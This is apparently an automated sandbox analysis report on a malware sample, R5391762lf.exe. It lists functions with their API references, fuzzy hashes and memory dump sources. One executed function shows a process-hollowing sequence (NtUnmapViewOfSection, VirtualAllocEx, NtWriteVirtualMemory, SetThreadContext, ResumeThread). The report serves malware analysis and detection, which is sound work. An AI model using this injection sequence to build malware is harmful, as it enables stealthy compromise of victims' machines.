Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 9A314737B057256BDB21AB68DC08B6EB794EF05B64F124017EB05EB280DB74C480C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 05E766D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 05E766DD

Part of subcall function 05DD59BF: __calloc_crt.LIBCMT ref: 05DD59E2
Part of subcall function 05DD59BF: __initptd.LIBCMT ref: 05DD5A04

__calloc_crt.LIBCMT ref: 05E76700
__get_sys_err_msg.LIBCMT ref: 05E7671E
__invoke_watson.LIBCMT ref: 05E7673B
__get_sys_err_msg.LIBCMT ref: 05E7676D
__invoke_watson.LIBCMT ref: 05E7678B

Memory Dump Source

Source File: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5db0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: 0279ea618318f3f41c217ce2f978a770512c5fcd8189a0abf51b57c60bc0dd98
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: B011B232700A1C6BFB256669DC44ABAB39DEF406ADF4004A7FE88E6641F672D90046B5

Uniqueness

Uniqueness Score: -1.00%

Function 05DC2670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05DC26DB
_memset.LIBCMT ref: 05DC2A30
_memset.LIBCMT ref: 05DC2AC0

Strings

D, xrefs: 05DC2AC8

Memory Dump Source

Source File: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5db0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 80c4db8cd9c415f65ba8b45d669fc450ba60e6194fecbc5f44e83fde320e6fb1
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: C1E17F75D4021AEACF24DBA0CD49FEEBBB9BF04304F1440AAE549E7190EB749A45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 05DBD8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05DBD8EA

Strings

, xrefs: 05DBDADB
$, xrefs: 05DBDAE2
(, xrefs: 05DBDAE9

Memory Dump Source

Source File: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5db0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: a4010f0dc6e5752f1064ae72a181e082675a3093741e9459e51b6abe0c66ae49
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: ED91A071D00219EBEF20DFA4CC59BEEBBB6EF05304F14416AD406B7280DBB65A48CB65

Uniqueness

Uniqueness Score: -1.00%

Function 05DD5CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 05DD5CF4

Strings

U, xrefs: 05DD5CFD

Memory Dump Source

Source File: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5db0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 448278a07d905249d174005d8c05032df1b015c623eabab67a976fd2c9576376
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 4321D83260820C7AEB00DAB8FC49FBAF39DEB45651F504167F909CA190FA71E94087B4

Uniqueness

Uniqueness Score: -1.00%

Function 05DCA810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05DCA858
_memset.LIBCMT ref: 05DCA869
_memset.LIBCMT ref: 05DCA87A

Strings

p2Q, xrefs: 05DCA882

Memory Dump Source

Source File: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5db0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: e7214886b24bdca49624f994c5e6fecb1d5eded5d0c699ad97fbe9e688a45967
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: FAF0ED78698750A5F7217750BC2AB957E91BB35B08F104089E1182E3E1D3FD238CA7AA

Uniqueness

Uniqueness Score: -1.00%

Function 05DFFBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05DFFBF1

Part of subcall function 05DE169C: std::exception::_Copy_str.LIBCMT ref: 05DE16B5

__CxxThrowException@8.LIBCMT ref: 05DFFC06

Strings

TeM, xrefs: 05DFFBFE
TeM, xrefs: 05DFFBFB, 05DFFBE7

Memory Dump Source

Source File: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5db0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 340d50e0053247bf84e0b0d09843f3afabd7e1e59be2699fdfa837f988238455
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 2CD06775E0020CBBCB00FFA5D499CDDBBB8EA04344F408467A91497241EA74A349CB95

Uniqueness

Uniqueness Score: -1.00%

Function 05DBD0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 05DD197D: __wfsopen.LIBCMT ref: 05DD1988

_fgetws.LIBCMT ref: 05DBD15C

Memory Dump Source

Source File: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5db0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 193f2531c37d904edc13828f52ef382a9e3f478012db127317185f8e03866112
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 18917271D04215DBDF21EFA4CC45BEEB7B7FF04214F14052AD856A3241E7B5AA04CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05DBD540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 05DBD77E
_malloc.LIBCMT ref: 05DBD7B2
_malloc.LIBCMT ref: 05DBD7C1
_fprintf.LIBCMT ref: 05DBD815

Memory Dump Source

Source File: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5db0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 54ae17991ab89495dd1d66d84f1e930537ad74a3a514dad6c3732e291e56b942
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: E2A15EB1D00249EBEF11EFA4CC49BDEBBB6EF14304F140029D54677291D7B65688CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 05DD2AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 05DD2B2E
__read_nolock.LIBCMT ref: 05DD2BFE
__filbuf.LIBCMT ref: 05DD2C21
_memset.LIBCMT ref: 05DD2C65

Part of subcall function 05DD5BA8: __getptd_noexit.LIBCMT ref: 05DD5BA8

Memory Dump Source

Source File: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5db0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: a4fd86cb5e9f4f11a3c723e08ba4a5bc6eeef9939b8f9f4d2ec7be5c86eae472
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: D151C139B043099BDB24CF68898466EF7B6FF41321F15832BE876D62D4D7B199508B70

Uniqueness

Uniqueness Score: -1.00%

Function 05DF1359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 05DF137D

Part of subcall function 05DF1A9D: __fltout2.LIBCMT ref: 05DF1AC6

__cftog_l.LIBCMT ref: 05DF13A3
__cftoe_l.LIBCMT ref: 05DF13D5

Memory Dump Source

Source File: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5db0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 2be985a3b211a865b10c4aaea819e46fbb3d8bee5711c3bf2e54aa95e9a7f42e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 5B01483684414EFBCF126EC4DC05CEE3FA2FB19255B4A8516FB5958830D236C5B2EB91

Uniqueness

Uniqueness Score: -1.00%

Function 05E77A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 05E77A4B

Part of subcall function 05E78140: ___BuildCatchObjectHelper.LIBCMT ref: 05E78172
Part of subcall function 05E78140: ___AdjustPointer.LIBCMT ref: 05E78189

_UnwindNestedFrames.LIBCMT ref: 05E77A62
___FrameUnwindToState.LIBCMT ref: 05E77A74
CallCatchBlock.LIBCMT ref: 05E77A98

Memory Dump Source

Source File: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5db0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e5b8c03343507448cccde4a2d6d21b28daab8c912d08eb06a20fc1dae5b2363b
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 1901293250050DBBEF12AF55CC04EDA3BBAFF48758F159014FD9865120D332E961EBA0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: R5391762lf.exePID: 7508, Parent PID: 660COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	38
Total number of Limit Nodes:	8

Executed Functions

Function 05EC0110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 05EC0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 05EC016C
CreateProcessA.KERNELBASE(?,00000000), ref: 05EC0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 05EC0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 05EC0283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 05EC029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05EC02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 05EC02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 05EC0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 05EC032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 05EC0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05EC03BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 05EC03E1
ResumeThread.KERNELBASE(00000000), ref: 05EC03ED
ExitProcess.KERNEL32(00000000), ref: 05EC0412

Memory Dump Source

Source File: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ec0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 8a2a2879da86604ed40f115e1c8d50166dbaa1b617ab847b231e7399ebf1612f
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 0AB1B774A00208EFDB44CF98C995F9EBBB5BF88314F248158E549AB391D771AD41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 05EC0420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 05EC0533

Strings

0, xrefs: 05EC0492
saodkfnosa9uin, xrefs: 05EC04DA
d, xrefs: 05EC0584
mfoaskdfnoa, xrefs: 05EC0520, 05EC0523

Memory Dump Source

Source File: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ec0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: d4f1545825d71485c9306f5e848596f30daba975263da01110b24fc1dcc110b8
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 8F510970D08388DBEB11CBD8C949BEDBFB26F11708F14409CD5846F286C3BA9659CB66

Uniqueness

Uniqueness Score: -1.00%

Function 05EC05B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 05EC05EC

Strings

o, xrefs: 05EC0600
apfHQ, xrefs: 05EC05E2, 05EC05E5

Memory Dump Source

Source File: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ec0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 6291866d26fb8932d1f8034772c75d53bddea7b61ae15701d8fca0bfb7866bc1
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 13011E70C0824CEADB10DF98C5183AEBFB5AF41308F1480DDD4492B241D7769B59CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 045787C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 045787EE
Module32First.KERNEL32(00000000,00000224), ref: 0457880E

Memory Dump Source

Source File: 00000006.00000002.1411013560.0000000004578000.00000040.00000020.00020000.00000000.sdmp, Offset: 04578000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4578000_R5391762lf.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 24d91e13c8c6b92be4056228c5efb1a4b68df315444f201831871754a4fc11e9
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 98F062316007116BD7203BB5B88DA6A76E8BF89765F100538E643910C0DA74F8455661

Uniqueness

Uniqueness Score: -1.00%

Function 04578485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 045784D6

Memory Dump Source

Source File: 00000006.00000002.1411013560.0000000004578000.00000040.00000020.00020000.00000000.sdmp, Offset: 04578000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4578000_R5391762lf.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 7d20cbb741f398121158f67dd0ba14c2baa09cc35352d0b84ae8fd0e87ed6c2a
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: F5113F79A00208FFDB01DF98C989E99BBF5AF08350F0580A4F9489B361D371EA50EF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 05EE6437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 05EE644E

Part of subcall function 05EE9636: __calloc_impl.LIBCMT ref: 05EE9645

__calloc_crt.LIBCMT ref: 05EE6472
_free.LIBCMT ref: 05EE6480
__calloc_crt.LIBCMT ref: 05EE648E
_free.LIBCMT ref: 05EE649E
_free.LIBCMT ref: 05EE64A4
__copytlocinfo_nolock.LIBCMT ref: 05EE64B3
__setmbcp_nolock.LIBCMT ref: 05EE64D4
_free.LIBCMT ref: 05EE64E2
___removelocaleref.LIBCMT ref: 05EE64E9
___freetlocinfo.LIBCMT ref: 05EE64F0
_free.LIBCMT ref: 05EE64F6

Memory Dump Source

Source File: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ec0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 5c982e47f691add5790a217ebd449499bb13ad135ac04c6e049fa08199e95e25
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 2821F331324601AEEB357F65FC09D5F7BE5FF92764F50A42AE4C6550A0EB328541CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05EE3F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 05EE3F51

Part of subcall function 05EE5BA8: __getptd_noexit.LIBCMT ref: 05EE5BA8

__gmtime64_s.LIBCMT ref: 05EE3FEA
__gmtime64_s.LIBCMT ref: 05EE4020
__gmtime64_s.LIBCMT ref: 05EE403D
__allrem.LIBCMT ref: 05EE4093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05EE40AF
__allrem.LIBCMT ref: 05EE40C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05EE40E4
__allrem.LIBCMT ref: 05EE40FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05EE4119
__invoke_watson.LIBCMT ref: 05EE418A

Memory Dump Source

Source File: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ec0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: b15ef14452b6a05e3609627306824dbf7796980a15154a71ee41be6893d93228
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 0F710771B10716ABEB249F78CC44BAAB3B9BF14328F14523AE595D76C1EB70E90087D0

Uniqueness

Uniqueness Score: -1.00%

Function 05EE650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 05EE6547
__calloc_crt.LIBCMT ref: 05EE6598
__lock.LIBCMT ref: 05EE65AE
__copytlocinfo_nolock.LIBCMT ref: 05EE65BF
_wcscmp.LIBCMT ref: 05EE65F9
__lock.LIBCMT ref: 05EE6610
__updatetlocinfoEx_nolock.LIBCMT ref: 05EE6622
___removelocaleref.LIBCMT ref: 05EE6628
__updatetlocinfoEx_nolock.LIBCMT ref: 05EE6647

Memory Dump Source

Source File: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ec0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 21d8bfbc98f190e47d02c340fa2ece901d22d2387134d828c9dcd65d007b2051
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 6C417432B24306AFEF10AFA4EC88B9E3BE5BF04318F10642EE99496191DB719604CB11

Uniqueness

Uniqueness Score: -1.00%

Function 05EE84AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 05EE84B1
_free.LIBCMT ref: 05EE84E2
_free.LIBCMT ref: 05EE84F5
_free.LIBCMT ref: 05EE8513
_free.LIBCMT ref: 05EE8525
_free.LIBCMT ref: 05EE8536
_free.LIBCMT ref: 05EE8541
_free.LIBCMT ref: 05EE8565
_free.LIBCMT ref: 05EE8581
_free.LIBCMT ref: 05EE8597
_free.LIBCMT ref: 05EE85BF

Memory Dump Source

Source File: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ec0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: fc71e7b08f5bb5f2db0fb4885995b3f83fb00db77b53945f36ec43496c254581
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 9D31D131A18350DBDB25AF54FC8885977A4FB15324314A63AE9C5572B0CFB099CEEF90

Uniqueness

Uniqueness Score: -1.00%

Function 05F0FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05F0FC1F

Part of subcall function 05EF169C: std::exception::_Copy_str.LIBCMT ref: 05EF16B5

__CxxThrowException@8.LIBCMT ref: 05F0FC34
std::exception::exception.LIBCMT ref: 05F0FC4D
__CxxThrowException@8.LIBCMT ref: 05F0FC62
std::regex_error::regex_error.LIBCPMT ref: 05F0FC74

Part of subcall function 05F0F914: std::exception::exception.LIBCMT ref: 05F0F92E

__CxxThrowException@8.LIBCMT ref: 05F0FC82
std::exception::exception.LIBCMT ref: 05F0FC9B
__CxxThrowException@8.LIBCMT ref: 05F0FCB0

Strings

leM, xrefs: 05F0FCA8

Memory Dump Source

Source File: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ec0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 14e1507fc6ff88b325cb755aefb3087114252e98b06d605a01fbe7929fa75975
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: E511FE79D0020DBBCF04FFA5E859CDDBB7CAA04344F408566AD5497240EB74A748CB95

Uniqueness

Uniqueness Score: -1.00%

Function 05ECF010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 05ECF01F

Part of subcall function 05EE1602: __FF_MSGBANNER.LIBCMT ref: 05EE1619
Part of subcall function 05EE1602: __NMSG_WRITE.LIBCMT ref: 05EE1620

_malloc.LIBCMT ref: 05ECF02B
_wprintf.LIBCMT ref: 05ECF03E
_free.LIBCMT ref: 05ECF044
_free.LIBCMT ref: 05ECF065
_malloc.LIBCMT ref: 05ECF06D
_sprintf.LIBCMT ref: 05ECF0C0
_wprintf.LIBCMT ref: 05ECF0D2
_wprintf.LIBCMT ref: 05ECF0DC
_free.LIBCMT ref: 05ECF0E5

Memory Dump Source

Source File: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ec0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: b4bc2f7f0d3e102c56147969c69fa1b2a97755925586c12963b20625b0d7548c
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
